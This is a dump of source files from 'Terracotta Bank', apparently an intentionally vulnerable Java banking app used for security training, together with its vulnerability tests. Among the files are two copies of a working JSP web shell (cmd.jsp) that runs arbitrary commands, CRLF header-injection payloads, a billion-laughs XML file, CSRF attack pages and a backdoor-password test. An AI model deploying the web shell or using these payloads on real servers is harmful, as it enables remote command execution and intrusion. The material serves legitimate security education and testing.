13 | 14 | -------------------------------------------------------------------------------- /src/test/java/com/joshcummings/codeplay/terracotta/testng/TomcatSupport.java: -------------------------------------------------------------------------------- 1 | package com.joshcummings.codeplay.terracotta.testng; 2 | 3 | import com.joshcummings.codeplay.terracotta.Mainer; 4 | import org.springframework.boot.SpringApplication; 5 | import org.springframework.context.ApplicationContext; 6 | import org.springframework.context.ConfigurableApplicationContext; 7 | 8 | public class TomcatSupport { 9 | private ConfigurableApplicationContext context; 10 | 11 | public ApplicationContext startContainer() { 12 | context = SpringApplication.run(Mainer.class); 13 | return context; 14 | } 15 | 16 | public void stopContainer() { 17 | context.close(); 18 | } 19 | 20 | public ApplicationContext getContext() { 21 | return context; 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /src/main/resources/logback.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | %d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n 7 | 8 | 9 | 10 | 11 | 12 | 13 | %d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | -------------------------------------------------------------------------------- /src/vulnerability-test/resources/testng.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | -------------------------------------------------------------------------------- /src/main/resources/static/evilsite/changepassword.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Insert title here 6 | 9 | 10 | 11 |

Blenders 'R Us

12 |
13 | 14 | 15 |
16 | 17 | 20 | 21 | -------------------------------------------------------------------------------- /src/main/resources/static/evilsite/csrf.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Insert title here 6 | 9 | 10 | 11 |
12 | 13 | 14 |
15 | 16 | 23 | 24 | -------------------------------------------------------------------------------- /.idea/gradle.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 19 | 20 | -------------------------------------------------------------------------------- /src/vulnerability-test/resources/xxe/billionlaughs.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | ]> 15 | &lol9; 16 | -------------------------------------------------------------------------------- /scripts/stop.ps1: -------------------------------------------------------------------------------- 1 | # Function to stop processes listening on a port 2 | function Stop-ProcessOnPort { 3 | param ( 4 | [int]$Port 5 | ) 6 | $connections = Get-NetTCPConnection -State Listen | Where-Object { $_.LocalPort -eq $Port } 7 | if ($connections) { 8 | foreach ($connection in $connections) { 9 | $process = Get-Process -Id $connection.OwningProcess -ErrorAction SilentlyContinue 10 | if ($process) { 11 | $process | Stop-Process -Force 12 | Write-Host "Stopped process $($process.Id) on port $Port." 13 | } 14 | else { 15 | Write-Host "No process found for connection on port $Port." 16 | } 17 | } 18 | } 19 | else { 20 | Write-Host "No process found on port $Port." 21 | } 22 | } 23 | 24 | # Stop the development server 25 | $devPort = 8080 26 | Stop-ProcessOnPort -Port $devPort 27 | 28 | # Stop the production server 29 | $prodPort = 8082 30 | Stop-ProcessOnPort -Port $prodPort 31 | -------------------------------------------------------------------------------- /src/main/java/com/joshcummings/codeplay/terracotta/servlet/ErrorServlet.java: -------------------------------------------------------------------------------- 1 | package com.joshcummings.codeplay.terracotta.servlet; 2 | 3 | import java.io.IOException; 4 | 5 | import javax.servlet.ServletException; 6 | import javax.servlet.http.HttpServlet; 7 | import javax.servlet.http.HttpServletRequest; 8 | import javax.servlet.http.HttpServletResponse; 9 | 10 | //@WebServlet("/error") 11 | public class ErrorServlet extends HttpServlet { 12 | private static final long serialVersionUID = 1L; 13 | 14 | @Override 15 | protected void doGet(HttpServletRequest request, HttpServletResponse response) 16 | throws ServletException, IOException { 17 | request.getRequestDispatcher("/WEB-INF/error.jsp").forward(request, response); 18 | } 19 | 20 | @Override 21 | protected void doPost(HttpServletRequest request, HttpServletResponse response) 22 | throws ServletException, IOException { 23 | request.getRequestDispatcher("/WEB-INF/error.jsp").forward(request, response); 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /src/test/webapp/csrf.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Insert title here 6 | 9 | 10 | 11 |
12 | 13 | 14 |
15 | 16 | 28 | 29 | -------------------------------------------------------------------------------- /src/vulnerability-test/webapp/csrf.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Insert title here 6 | 9 | 10 | 11 |
12 | 13 | 14 |
15 | 16 | 28 | 29 | -------------------------------------------------------------------------------- /src/main/webapp/WEB-INF/accounts.jsp: -------------------------------------------------------------------------------- 1 | <%@ page language="java" contentType="text/html; charset=ISO-8859-1" 2 | pageEncoding="ISO-8859-1"%> 3 | <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> 4 |
5 |
6 |
7 |

Accounts

8 |
9 |
10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 |
Account NumberBalance
No results
${account.number}$${account.amount}
32 |
33 |
34 |
35 |
-------------------------------------------------------------------------------- /src/main/java/com/joshcummings/codeplay/terracotta/service/passwords/Evaluation.java: -------------------------------------------------------------------------------- 1 | package com.joshcummings.codeplay.terracotta.service.passwords; 2 | 3 | import java.util.ArrayList; 4 | import java.util.Arrays; 5 | import java.util.Collections; 6 | import java.util.List; 7 | 8 | public class Evaluation { 9 | private static final Evaluation SUCCESS = new Evaluation(Collections.emptyList()); 10 | 11 | private final List details; 12 | 13 | private Evaluation(List details) { 14 | this.details = new ArrayList<>(details); 15 | } 16 | 17 | public boolean isSuccess() { 18 | return this.details.isEmpty(); 19 | } 20 | 21 | public List getDetails() { 22 | return this.details; 23 | } 24 | 25 | public static Evaluation success() { 26 | return SUCCESS; 27 | } 28 | 29 | public static Evaluation failure(String... details) { 30 | return failure(Arrays.asList(details)); 31 | } 32 | 33 | public static Evaluation failure(List details) { 34 | if ( details.isEmpty() ) { 35 | return SUCCESS; 36 | } else { 37 | return new Evaluation(details); 38 | } 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /src/main/java/com/joshcummings/codeplay/terracotta/service/passwords/PasswordEntropyEvaluator.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta.service.passwords; 17 | 18 | import com.joshcummings.codeplay.terracotta.model.User; 19 | 20 | /** 21 | * @author Josh Cummings 22 | */ 23 | public interface PasswordEntropyEvaluator { 24 | Evaluation evaluate(String password); 25 | 26 | default Evaluation evaluate(String password, User user) { 27 | return evaluate(password); 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /src/main/webapp/WEB-INF/messages.jsp: -------------------------------------------------------------------------------- 1 | <%@ page language="java" contentType="text/html; charset=utf-8" pageEncoding="utf-8"%> 2 | <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> 3 |
4 |
5 |
6 |

Messages

7 |
8 |
9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 |
NameEmailSubjectMessage
No results
${message.name}${message.email}${message.subject}${message.message}
35 |
36 |
37 |
38 |
-------------------------------------------------------------------------------- /src/vulnerability-test/resources/maliciousfileupload/cmd.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.util.*,java.io.*"%> 2 | 3 | 4 |
5 |
$> 
6 | 7 |
8 |
 9 | <%
10 | if (request.getParameter("cmd") != null) {
11 |     String cmd = request.getParameter("cmd");
12 |     out.println(cmd + "
"); 13 | ProcessBuilder pb = new ProcessBuilder(cmd.split("\\s")); 14 | pb.redirectErrorStream(true); 15 | Process p = pb.start(); 16 | p.waitFor(); 17 | InputStream in = p.getInputStream(); 18 | try (BufferedReader br = new BufferedReader(new InputStreamReader(in))) { 19 | String line = br.readLine(); 20 | while (line != null) { 21 | line = line.replaceAll("<", "<").replaceAll(">", ">"); 22 | out.println(line); 23 | line = br.readLine(); 24 | } 25 | } 26 | } 27 | %> 28 |
29 | 30 | -------------------------------------------------------------------------------- /src/vulnerability-test/resources/maliciousfileupload/src/main/webapp/cmd.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.util.*,java.io.*"%> 2 | 3 | 4 |
5 |
$> 
6 | 7 |
8 |
 9 | <%
10 | if (request.getParameter("cmd") != null) {
11 |     String cmd = request.getParameter("cmd");
12 |     out.println(cmd + "
"); 13 | ProcessBuilder pb = new ProcessBuilder(cmd.split("\\s")); 14 | pb.redirectErrorStream(true); 15 | Process p = pb.start(); 16 | p.waitFor(); 17 | InputStream in = p.getInputStream(); 18 | try (BufferedReader br = new BufferedReader(new InputStreamReader(in))) { 19 | String line = br.readLine(); 20 | while (line != null) { 21 | line = line.replaceAll("<", "<").replaceAll(">", ">"); 22 | out.println(line); 23 | line = br.readLine(); 24 | } 25 | } 26 | } 27 | %> 28 |
29 | 30 | -------------------------------------------------------------------------------- /src/main/java/com/joshcummings/codeplay/terracotta/model/Transaction.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta.model; 17 | 18 | public class Transaction { 19 | private final String key; 20 | private final User user; 21 | private final String action; 22 | 23 | public Transaction(String key, User user, String action) { 24 | this.key = key; 25 | this.user = user; 26 | this.action = action; 27 | } 28 | 29 | public String getKey() { 30 | return key; 31 | } 32 | 33 | public User getUser() { 34 | return user; 35 | } 36 | 37 | public String getAction() { 38 | return action; 39 | } 40 | } -------------------------------------------------------------------------------- /src/vulnerability-test/java/com/joshcummings/codeplay/terracotta/testng/CrlfCheatSheet.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta.testng; 17 | 18 | import java.util.Arrays; 19 | import java.util.Iterator; 20 | import java.util.List; 21 | 22 | public class CrlfCheatSheet implements Iterable { 23 | List exploits = Arrays.asList( 24 | "dummy" + (char)22029 + (char)22026 + "X-Evil-Header:+%s+is+vulnerable+to+CRLF+injection", 25 | "dummy%%E5%%98%%8D%%E5%%98%%8AX-Evil-Header:+%s+is+vulnerable+to+CRLF+injection", 26 | "dummy%%0D%%0AX-Evil-Header:+%s+is+vulnerable+to+CRLF+injection" 27 | ); 28 | 29 | @Override 30 | public Iterator iterator() { 31 | return exploits.iterator(); 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /src/main/java/com/joshcummings/codeplay/terracotta/service/passwords/WeakPasswordEntropyEvaluator.java: -------------------------------------------------------------------------------- 1 | package com.joshcummings.codeplay.terracotta.service.passwords; 2 | 3 | import java.util.regex.Pattern; 4 | 5 | public class WeakPasswordEntropyEvaluator implements PasswordEntropyEvaluator { 6 | private static final String SPECIAL_CHARACTERS = "!@#^%*&"; 7 | 8 | private static final Pattern HAS_LOWER = Pattern.compile("[a-z]"); 9 | private static final Pattern HAS_UPPER = Pattern.compile("[A-Z]"); 10 | private static final Pattern HAS_NUMBER = Pattern.compile("[0-9]"); 11 | private static final Pattern HAS_SPECIAL = Pattern.compile("[" + SPECIAL_CHARACTERS + "]"); 12 | private static final Pattern HAS_ONLY = Pattern.compile("[a-zA-Z0-9" + SPECIAL_CHARACTERS + "]{6,20}"); 13 | 14 | @Override 15 | public Evaluation evaluate(String password) { 16 | boolean matches = 17 | HAS_LOWER.matcher(password).find() && 18 | HAS_UPPER.matcher(password).find() && 19 | HAS_NUMBER.matcher(password).find() && 20 | HAS_SPECIAL.matcher(password).find() && 21 | HAS_ONLY.matcher(password).matches(); 22 | 23 | if ( !matches ) { 24 | return Evaluation.failure( 25 | "Make sure it has 6 to 20 characters", 26 | "And a lower-case letter, upper-case letter, and number", 27 | "And at least one of !@#^"); 28 | } else { 29 | return Evaluation.success(); 30 | } 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /src/test/java/com/joshcummings/codeplay/terracotta/ShowMessagesFunctionalTest.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta; 17 | 18 | import org.testng.Assert; 19 | import org.testng.annotations.*; 20 | 21 | public class ShowMessagesFunctionalTest extends AbstractEmbeddedTomcatSeleniumTest { 22 | @BeforeClass(alwaysRun = true) 23 | public void doLogin() { 24 | login("john.coltraine", "j0hn"); 25 | } 26 | 27 | @AfterClass(alwaysRun = true) 28 | public void doLogout() { 29 | logout(); 30 | } 31 | 32 | @Test(groups = "web") 33 | public void testShowMessages() { 34 | goToPage("/showMessages"); 35 | 36 | Assert.assertTrue(driver.getPageSource().contains("Messages")); 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /src/main/java/com/joshcummings/codeplay/terracotta/Mainer.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta; 17 | 18 | import org.springframework.boot.SpringApplication; 19 | import org.springframework.boot.autoconfigure.SpringBootApplication; 20 | import org.springframework.boot.builder.SpringApplicationBuilder; 21 | import org.springframework.boot.web.servlet.support.SpringBootServletInitializer; 22 | 23 | /** 24 | * @author Josh Cummings 25 | */ 26 | @SpringBootApplication 27 | public class Mainer extends SpringBootServletInitializer { 28 | 29 | @Override 30 | protected SpringApplicationBuilder configure(SpringApplicationBuilder builder) { 31 | return builder.sources(Mainer.class); 32 | } 33 | 34 | public static void main(String[] args) { 35 | SpringApplication.run(Mainer.class, args); 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /src/test/java/com/joshcummings/codeplay/terracotta/LookupCheckFunctionalTest.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta; 17 | 18 | import org.openqa.selenium.By; 19 | import org.testng.annotations.*; 20 | 21 | public class LookupCheckFunctionalTest extends AbstractEmbeddedTomcatSeleniumTest { 22 | @BeforeClass(alwaysRun = true) 23 | public void doLogin() { 24 | login("john.coltraine", "j0hn"); 25 | } 26 | 27 | @AfterClass(alwaysRun = true) 28 | public void doLogout() { 29 | logout(); 30 | } 31 | 32 | @Test(groups = "web") 33 | public void testMakeDeposit() { 34 | goToPage("/"); 35 | 36 | driver.findElement(By.name("checkLookupNumber")).sendKeys("123"); 37 | 38 | driver.findElement(By.name("lookup")).submit(); 39 | 40 | } 41 | 42 | } 43 | -------------------------------------------------------------------------------- /terraform-azure/variables.tf: -------------------------------------------------------------------------------- 1 | variable "initials" { 2 | description = "Enter your initials to include in URLs. Lowercase only!!!" 3 | default = "" 4 | } 5 | 6 | variable "location" { 7 | description = "The Azure location where all resources in this example should be created, to find your nearest run `az account list-locations -o table`" 8 | default = "" 9 | } 10 | 11 | variable "appname" { 12 | description = "The name of the app to display in Contrast TeamServer. Also used for DNS, so no spaces please!" 13 | default = "terracotta-bank" 14 | } 15 | 16 | variable "servername" { 17 | description = "The name of the server to display in Contrast TeamServer." 18 | default = "terracotta-bank-docker" 19 | } 20 | 21 | variable "environment" { 22 | description = "The Contrast environment for the app. Valid values: development, qa or production" 23 | default = "development" 24 | } 25 | 26 | variable "session_metadata" { 27 | description = "See https://docs.contrastsecurity.com/user-vulnerableapps.html#session" 28 | default = "" 29 | } 30 | 31 | variable "python_binary" { 32 | description = "Path to local Python binary" 33 | default = "python3" 34 | } 35 | 36 | variable "apptags" { 37 | description = "Tags to be associated with the app in Contrast TeamServer." 38 | default = "" 39 | } 40 | 41 | variable "servertags" { 42 | description = "Tags to be associated with the server in Contrast TeamServer." 43 | default = "" 44 | } 45 | 46 | -------------------------------------------------------------------------------- /src/test/java/com/joshcummings/codeplay/terracotta/ShowAccountsFunctionalTest.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta; 17 | 18 | import org.testng.Assert; 19 | import org.testng.annotations.AfterClass; 20 | import org.testng.annotations.BeforeClass; 21 | import org.testng.annotations.Test; 22 | 23 | public class ShowAccountsFunctionalTest extends AbstractEmbeddedTomcatSeleniumTest { 24 | @BeforeClass(alwaysRun = true) 25 | public void doLogin() { 26 | login("john.coltraine", "j0hn"); 27 | } 28 | 29 | @AfterClass(alwaysRun = true) 30 | public void doLogout() { 31 | logout(); 32 | } 33 | 34 | @Test(groups = "web") 35 | public void testShowAccounts() { 36 | goToPage("/showAccounts"); 37 | 38 | Assert.assertTrue(driver.getPageSource().contains("Accounts")); 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /src/vulnerability-test/java/com/joshcummings/codeplay/terracotta/AdminLoginFunctionalTest.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta; 17 | 18 | 19 | import org.apache.http.client.methods.CloseableHttpResponse; 20 | import org.testng.Assert; 21 | import org.testng.annotations.Test; 22 | 23 | import static org.apache.http.client.methods.RequestBuilder.post; 24 | 25 | public class AdminLoginFunctionalTest extends AbstractEmbeddedTomcatSeleniumTest { 26 | 27 | @Test(groups="bruteforce") 28 | public void testAdminLoginForBackdoor() throws Exception { 29 | 30 | try (CloseableHttpResponse response = 31 | http.post(post("/adminLogin") 32 | .addParameter("username", "anyusername") 33 | .addParameter("password", "backoffice"))) { 34 | 35 | Assert.assertEquals(401, response.getStatusLine().getStatusCode()); 36 | } 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /src/main/java/com/joshcummings/codeplay/terracotta/model/Check.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta.model; 17 | 18 | import java.math.BigDecimal; 19 | 20 | /** 21 | * @author Josh Cummings 22 | */ 23 | public class Check { 24 | private final String id; 25 | private final String number; 26 | private final BigDecimal amount; 27 | private final String accountId; 28 | 29 | public Check(String id, String number, BigDecimal amount, String accountId) { 30 | this.id = id; 31 | this.number = number; 32 | this.amount = amount; 33 | this.accountId = accountId; 34 | } 35 | 36 | public String getId() { 37 | return id; 38 | } 39 | 40 | public String getNumber() { 41 | return number; 42 | } 43 | 44 | public BigDecimal getAmount() { 45 | return amount; 46 | } 47 | 48 | public String getAccountId() { 49 | return accountId; 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /src/main/java/com/joshcummings/codeplay/terracotta/model/Message.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta.model; 17 | 18 | /** 19 | * @author Josh Cummings 20 | */ 21 | public class Message { 22 | private final String id; 23 | private final String name; 24 | private final String email; 25 | private final String subject; 26 | private final String message; 27 | 28 | public Message(String id, String name, String email, String subject, String message) { 29 | this.id = id; 30 | this.name = name; 31 | this.email = email; 32 | this.subject = subject; 33 | this.message = message; 34 | } 35 | 36 | public String getId() { 37 | return id; 38 | } 39 | 40 | public String getName() { 41 | return name; 42 | } 43 | 44 | public String getEmail() { 45 | return email; 46 | } 47 | 48 | public String getSubject() { 49 | return subject; 50 | } 51 | 52 | public String getMessage() { 53 | return message; 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /src/main/java/com/joshcummings/codeplay/terracotta/app/InMemoryAppender.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2019 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta.app; 17 | 18 | import ch.qos.logback.classic.spi.ILoggingEvent; 19 | import ch.qos.logback.core.ConsoleAppender; 20 | 21 | import java.util.LinkedList; 22 | import java.util.List; 23 | import java.util.Queue; 24 | 25 | public class InMemoryAppender extends ConsoleAppender { 26 | static final Queue log = new LinkedList<>(); 27 | 28 | @Override 29 | public void doAppend(ILoggingEvent eventObject) { 30 | byte[] b = this.encoder.encode(eventObject); 31 | InMemoryAppender.log.offer(new String(b)); 32 | } 33 | 34 | public static List take(int count) { 35 | List result = new LinkedList<>(); 36 | while ( count > 0 && log.peek() != null ) { 37 | result.add(log.poll()); 38 | count--; 39 | } 40 | return result; 41 | } 42 | 43 | public static void clear() { 44 | log.clear(); 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /src/test/java/com/joshcummings/codeplay/terracotta/RegisterFunctionalTest.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta; 17 | 18 | import org.apache.http.client.methods.RequestBuilder; 19 | import org.testng.Assert; 20 | import org.testng.annotations.Test; 21 | 22 | public class RegisterFunctionalTest extends AbstractEmbeddedTomcatSeleniumTest { 23 | 24 | @Test(groups="password") 25 | public void testRegister() { 26 | String response = attemptRegistration("tb", "4Y8j&c*bMi0evBRQ"); 27 | Assert.assertTrue(response.contains("Welcome, Terracotta Bank!")); 28 | } 29 | 30 | private String attemptRegistration(String username, String password) { 31 | return http.postForContent(RequestBuilder.post("/register") 32 | .addParameter("registerUsername", username) 33 | .addParameter("registerPassword", password) 34 | .addParameter("registerName", "Terracotta Bank") 35 | .addParameter("registerEmail", username + "@peartree.com")); 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /src/main/java/com/joshcummings/codeplay/terracotta/model/Account.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta.model; 17 | 18 | import java.io.Serializable; 19 | import java.math.BigDecimal; 20 | 21 | /** 22 | * @author Josh Cummings 23 | */ 24 | public class Account implements Serializable { 25 | private static final long serialVersionUID = 1L; 26 | 27 | private final String id; 28 | private final BigDecimal amount; 29 | private final Long number; 30 | private final String ownerId; 31 | 32 | public Account(String id, BigDecimal amount, Long number, String ownerId) { 33 | this.id = id; 34 | this.amount = amount; 35 | this.number = number; 36 | this.ownerId = ownerId; 37 | } 38 | 39 | public String getId() { 40 | return id; 41 | } 42 | 43 | public BigDecimal getAmount() { 44 | return amount; 45 | } 46 | 47 | public Long getNumber() { 48 | return number; 49 | } 50 | 51 | public String getOwnerId() { 52 | return ownerId; 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /src/vulnerability-test/java/com/joshcummings/codeplay/terracotta/service/UserServiceTest.java: -------------------------------------------------------------------------------- 1 | package com.joshcummings.codeplay.terracotta.service; 2 | 3 | import com.joshcummings.codeplay.terracotta.AbstractEmbeddedTomcatTest; 4 | import com.joshcummings.codeplay.terracotta.model.User; 5 | import org.junit.Assert; 6 | import org.testng.annotations.Test; 7 | 8 | public class UserServiceTest extends AbstractEmbeddedTomcatTest { 9 | @Test(groups="passwordstorage") 10 | public void testSamePasswordDifferentHash() { 11 | UserService userService = this.context.getBean(UserService.class); 12 | User one = new User("one", "one", "password", "name", "one@terracotta"); 13 | userService.addUser(one); 14 | 15 | User two = new User("two", "two", "password", "name", "two@terracotta"); 16 | userService.addUser(two); 17 | 18 | one = userService.findByUsername("one"); 19 | two = userService.findByUsername("two"); 20 | 21 | Assert.assertNotEquals(one.getPassword(), two.getPassword()); 22 | } 23 | 24 | @Test(groups="passwordstorage") 25 | public void testStrongPasswordHashAlgorithm() { 26 | UserService userService = this.context.getBean(UserService.class); 27 | User user = new User("user", "user", "password", "name", "user@terracotta"); 28 | userService.addUser(user); 29 | 30 | user = userService.findByUsername("user"); 31 | String hashed = user.getPassword(); 32 | 